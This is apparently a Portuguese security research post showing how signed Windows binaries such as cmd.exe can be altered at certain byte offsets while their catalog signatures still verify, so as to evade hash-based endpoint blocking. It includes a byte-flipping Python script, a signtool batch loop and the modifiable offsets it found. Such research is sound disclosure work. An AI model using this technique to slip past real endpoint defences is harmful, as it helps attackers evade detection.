
Muta binários Windows assinados para reter assinaturas de catálogo válidas enquanto altera os hashes dos arquivos, contornando bloqueios de endpoints baseados em hash e expondo lacunas na verificação do Authenticode.
A ideia era contornar soluções de endpoint que bloqueiam aplicativos assinados conhecidos como "maliciosos", como "regsvr32.exe". Eu queria encontrar uma maneira de obter um arquivo assinado válido com um hash diferente.
Usando signtool verify /v /a cmd.exe
C:\signcheck>signtool verify /a /v cmd.exe
Verifying: cmd.exe
File is signed in catalog: C:\windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-
00C04FC295EE}\Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~6.1.7
601.17514.cat
Hash of file (sha1): 7EB22CBAA74B208DF433C70C06A99280036A52F3
Signing Certificate Chain:
Issued to: Microsoft Root Certificate Authority
Issued by: Microsoft Root Certificate Authority
Expires: Sun May 09 19:28:13 2021
SHA1 hash: CDD4EEAE6000AC7F40C3802C171E30148030C072
Pensei que o "Hash do arquivo" era o SHA1 do cmd.exe com base na saída (7EB22CBAA74B208DF433C70C06A99280036A52F3)
Uma verificação adicional revelou que o SHA1 do arquivo cmd.exe era
$ sha1sum.exe cmd.exe
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8 *cmd.exe
Interessante: o mesmo arquivo com 2 hashes diferentes.
Nesse ponto, suspeitei que a assinatura poderia não incluir todas as seções do arquivo.
Escrevi um script python simples para gerar arquivos de teste.
import sys
orig = list(open(sys.argv[1], "rb").read())
i = 0
while i < len(orig):
current = list(orig)
current[i] = chr(ord(current[i]) ^ 0xde)
path = "%d.exe" % i
output = "".join(str(e) for e in current)
open(path, "wb").write(output)
i += 1
print "done"
Em seguida, python generate.py cmd.exe foi executado e gerou mais de 300 Gb de novos arquivos.
Agora precisamos validar cada arquivo criado para ver se eles passam no teste de assinatura.
Um simples arquivo batch pode fazer isso.
FOR /L %%A IN (1,1,10000) DO (
signtool verify /v /a %%A.exe
)
O binário 330.exe passou na verificação de assinatura. Nesse caso, o arquivo é diferente, pois o offset 330 foi modificado.
C:\signcheck>signtool verify /a /v 330.exe
Verifying: 330.exe
File is signed in catalog: C:\windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-
00C04FC295EE}\Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~6.1.7
601.17514.cat
Hash of file (sha1): 7EB22CBAA74B208DF433C70C06A99280036A52F3
$ sha1sum.exe 330.exe
4c05efb9d67291febe44f8c661db55a1ec06bc41 *330.exe
$ sha1sum cmd.exe
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8 *cmd.exe
Os seguintes bytes podem ser modificados sem quebrar a assinatura:
330, 331, 408 - 412
Os seguintes bytes podem ser modificados sem quebrar a assinatura:
320 - 323, 400 - 407
Os seguintes bytes podem ser modificados sem quebrar a assinatura:
216 - 219